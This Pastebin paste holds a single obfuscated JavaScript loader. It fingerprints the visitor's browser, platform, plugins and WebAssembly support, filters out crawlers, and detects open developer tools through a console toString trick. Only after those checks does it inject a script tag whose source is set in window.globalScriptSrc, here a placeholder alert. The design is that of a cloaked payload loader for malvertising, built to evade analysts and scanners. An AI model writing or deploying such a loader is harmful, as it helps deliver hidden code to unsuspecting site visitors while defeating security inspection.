Advertisement
StanislavPipa

Untitled

Mar 18th, 2019
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // desktop, all
  2.  
  3. window.globalScriptSrc = 'data:text/javascript,alert(\'work, yes\')';
  4.  
  5. +function () {
  6.   var open = '', rg = /g/, field, conf, alt = {};
  7.  
  8.   function run(isReady, isConfig) {
  9.     if (isReady) {
  10.       if (isConfig) {
  11.         console.log(rg);
  12.         counter > 0 && start(Debug.Web, content(Debug)[4], content(GLF)[1]+Debug.body);
  13.       }
  14.     }
  15.   }
  16.  
  17.   var crypto = function (data, flag) {
  18.     return flag ? data[open.length].toLowerCase() + data.substring(1)
  19.       : data[open.length].toUpperCase() + data.substring(1);
  20.   };
  21.  
  22.  
  23.   var Depth = function (data, flag) {
  24.     var res;
  25.     Object.keys(data).forEach(function (el, ind) {
  26.       if (ind === flag) { res = data[el].length;}
  27.     });
  28.     return res;
  29.   };
  30.  
  31.   var content = function (data, flag) {
  32.     if (flag) {
  33.       var obj = []; alt.field = window;
  34.       for (var param in data) { obj.push(data[param]) }
  35.       return obj;
  36.  
  37.     } else if (!flag) {
  38.       return Object.keys(data)
  39.     }
  40.   };
  41.  
  42.   var base, Debug = {
  43.     Data: 'Assembly',
  44.     Web: 'script',
  45.     global: 'rame',
  46.     device: ['Touch', 'name', 'code'],
  47.     body: 'Element',
  48.     security: false,
  49.     kit: 'sidebar'
  50.   }, max = {}, val = navigator;
  51.  
  52.   var check = function (arg, key) { return arg in key };
  53.  
  54.   var combinData = function (data, flag) {
  55.     var nData; alt.message = check;
  56.     if (!!flag) {
  57.       alt.cont = content;
  58.       nData = [];
  59.       data.forEach(function (item) {
  60.         nData = nData.concat(item);
  61.       });
  62.     } else if (!flag) {
  63.       nData = data.reduce(function (first, second) {
  64.         Object.keys(second).forEach(function (obj) {
  65.           first[obj] = second[obj];
  66.         });
  67.         return first;
  68.       }, {});
  69.     }
  70.     alt.plugin = combinData;
  71.     return nData;
  72.   };
  73.  
  74.   var dataPrepare = function (data, key, flag) {
  75.     alt.count = Depth;
  76.     if (flag) {
  77.       var params = [];
  78.       data.forEach(function (param, ind) {
  79.         key.forEach(function (param2, ind2) {
  80.           if (ind === Number(param2)) { params.push(param) }
  81.           else if (ind === ind2) { alt.dataPrepare = dataPrepare }
  82.           field = alt.field;
  83.         })
  84.       });
  85.       return params;
  86.     } else if (!flag) {
  87.       data.forEach(function (param, ind) {
  88.         if (ind === Number(param2)) { params.push(param) }
  89.         else if (ind === ind2) { alt.dataPrepare = dataPrepare }
  90.         field = alt.field;
  91.       });
  92.     }
  93.   };
  94.  
  95.   var GLF = {
  96.     max: 'Points',
  97.     create: 'version',
  98.     Enabled: true,
  99.     screen: ['cookie', 'java'],
  100.     Media: 'stream',
  101.   }, color = 'information', g;
  102.  
  103.   var createData = function (data, keys, flag) {
  104.     alt.post = 'client';
  105.     if (flag){
  106.       var items = combinData(data, !flag),
  107.         elements = combinData([content(items, flag), content(items, !flag)], flag);
  108.       return dataPrepare(elements, keys, flag);
  109.     }
  110.   };
  111.  
  112.   var runData = function (data, keys, flag, volume) {
  113.     if (flag) {
  114.       base = RegExp;
  115.       var items = createData(data, keys, GLF.Enabled);
  116.  
  117.       var tmp1 = check(items[Depth(Debug, 3)]+items[open.length], field),
  118.         tmp2 = alt.message(items[1], field);
  119.  
  120.       var tmp3 = check(items[Depth(Debug, 2)], field),
  121.         tmp4 = alt.message(crypto(items[2]), field);
  122.  
  123.       return tmp1 && tmp2 && tmp3 && !tmp4;
  124.     }
  125.     if (!flag) {
  126.       val = volume[alt.post+color] || val;
  127.       var elements = createData(data, keys, !flag);
  128.  
  129.       var el1 = check(elements[alt.count(Debug, 2)+1]+elements[1] , volume),
  130.           el2 = alt.message(elements[alt.count(GLF, 1)]+
  131.             elements[4]+elements[Depth(Debug, 3)-1], volume);
  132.  
  133.       var el3 = check(crypto(elements[alt.count(Debug, 2)+1], GLF.Enabled)+
  134.         elements[6]+elements[Depth(GLF,3)+1]+
  135.         crypto(elements[open.length]), volume);
  136.         max.data = createData;
  137.  
  138.       return el1 && el2 && el3;
  139.     }
  140.   };
  141.  
  142.   var rocket = runData([GLF, Debug, {content: 'rect'}], [19,5,11,25,12], !Debug.security),
  143.     kit = runData(
  144.       [GLF, Debug, {open: 'base'}],
  145.       [25,18,12,19,5,24,17,4],
  146.       Debug.security,
  147.       alt.field
  148.     );
  149.  
  150.   setTimeout (function () {
  151.     isReady = prepearRuning([{form: 'Macwin'}, Debug, GLF], [0,13,21,4,15,3], !open);
  152.   }, 100);
  153.  
  154.   var stopData = function (data, keys, volume, flag) {
  155.     var items; g = "i";
  156.     if (!volume && !flag) {
  157.       items = max.data(data, keys, !flag);
  158.  
  159.       var el1 = check(max.pars('de'+items[3]), field),
  160.         el2 = !(val[items[2]+'s'][1] && val[items[2]+'s'][1][items[0][1]].match(items[1]));
  161.  
  162.       items = el1 && el2;
  163.     } else if (!flag) {
  164.       items = max.data(data, keys, !flag);
  165.       conf = volume[items[0].slice(0, -3)+'u'+items[2]];
  166.  
  167.       volume = conf[items[0].slice(0, -3)+'u'+items[2]+max.pars(items[0].slice(3)+
  168.         items[2])][crypto(items[1], true)];
  169.  
  170.       items = alt.message(items.slice(-1).join(), volume) ;
  171.     } else {
  172.       items = createData(data, keys, flag);
  173.       max.pars = crypto;
  174.       var tmp1 = volume[items[5]+crypto(items[2])+crypto('ratio')];
  175.  
  176.       var tmp2 = check(items.slice(-4).reduce(function (first, second, index) {
  177.         if (index === 1) { first = first+crypto(second) }
  178.         return first;
  179.       }), volume);
  180.  
  181.       var tmp3 = val[items.slice(-2)[0]+'s'],
  182.         tmp4 = val[items[0][0]+items[3]],
  183.         tmp5 = volume[items[4]][items[9]+items[1].name];
  184.  
  185.       items = tmp2 && tmp1 && tmp5 && tmp4 && tmp3;
  186.     }
  187.     return items;
  188.   };
  189.  
  190.   var devRat = stopData(
  191.     [GLF, Debug, alt, {color: 'pixel'}],
  192.     [32,33,28,23,17,3,22,34,19,39],
  193.     field,
  194.     true
  195.   ), altSaf = stopData(
  196.     [GLF, {ment: 'docele', alt: 'Style'}],
  197.     [5,6,12,13],
  198.     alt.field,
  199.     Debug.security
  200.   ), net = stopData([Debug, alt, {bug: "light"}], [29,24,3,14]);
  201.  
  202.   setTimeout (function () {
  203.     isConfig = prepearRuning({agent: 'user,fire,chro,safa,trid,|'}, [12], !!open);
  204.   }, 100);
  205.  
  206.   var updateData = function (data, keys, flag) {
  207.     if (!flag) {
  208.       return alt.message(max.data(data, keys, true).toString(), field) ? 4 : rocket ? 1 : 2;
  209.     } else {
  210.       var elements = createData(data, keys, true);
  211.  
  212.       return typeof (field[crypto.name]) == typeof runData ||
  213.        [val['app'+max.pars(elements[0][2])+crypto(elements[0][1], false)],
  214.         val['app'+max.pars(elements[1])]].join(val[elements[2][1]+
  215.         elements[3]]).match(new base('"', elements[3]));
  216.     }
  217.   };
  218.  
  219.   var counter = updateData([Debug], [12]),
  220.     crawler = updateData([Debug, GLF, {glf: 'g'}],[3,8,10,22,12],true);
  221.  
  222.   var start = function(volume, arg, el){
  223.     return conf[arg].appendChild(conf[el](volume)).src =
  224.       alt.field[content(Debug)[2]+max.pars(Debug.Web)+'Src'];
  225.   };
  226.   rg.toString = function () { --counter; return open };
  227.  
  228.   var insert = function (str, index, value) {
  229.     return str.substr(0, index) + value + str.substr(index);
  230.   }, isReady, isConfig;
  231.  
  232.   var prepearRuning = function (data, flags, key) {
  233.     var items;
  234.     if (key) {
  235.       items = max.data(data, flags, true);
  236.       return val['plat'+items[3]].match(new base(insert(
  237.         crypto(items[0], true), 3, '|'), g + 'g')
  238.         ) && !val[items[5]+items[2][1]+GLF.max] && !crawler && check(items[4]
  239.         +'GLF'+ Debug.global+'buffer', alt.field);
  240.  
  241.     } else {
  242.       items = data.agent.split(',');
  243.       var tmp = items[0]+max.pars(Object.keys(data)[0]);
  244.  
  245.       var elements = [],
  246.         param = ['fox','me','ri','ent','ed'],
  247.         ins;
  248.  
  249.       items.forEach(function (item, index) {
  250.         param.forEach(function (arg, inx) {
  251.           if (index-1 === inx && inx === 3) { ins = insert(item, 4, arg) }
  252.           else if (index-1 === inx && inx === 4) {
  253.             elements.push(new base(ins+insert(item, 4, arg+'ge'),g));
  254.           } else if (index > 0 && index-1 === inx) {
  255.             elements.push(new base(insert(item, 4, arg),g));
  256.           }
  257.         })
  258.       });
  259.  
  260.       var res = elements.map(function (el) { return val[tmp].match(el) });
  261.       items = res[0] && rocket || res[1] && kit && devRat || res[2] && altSaf || res[3] && net
  262.     }
  263.     return items;
  264.   };
  265.  
  266.   setTimeout(function () {
  267.     return run(isReady, isConfig)
  268.   }, 200)
  269. }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement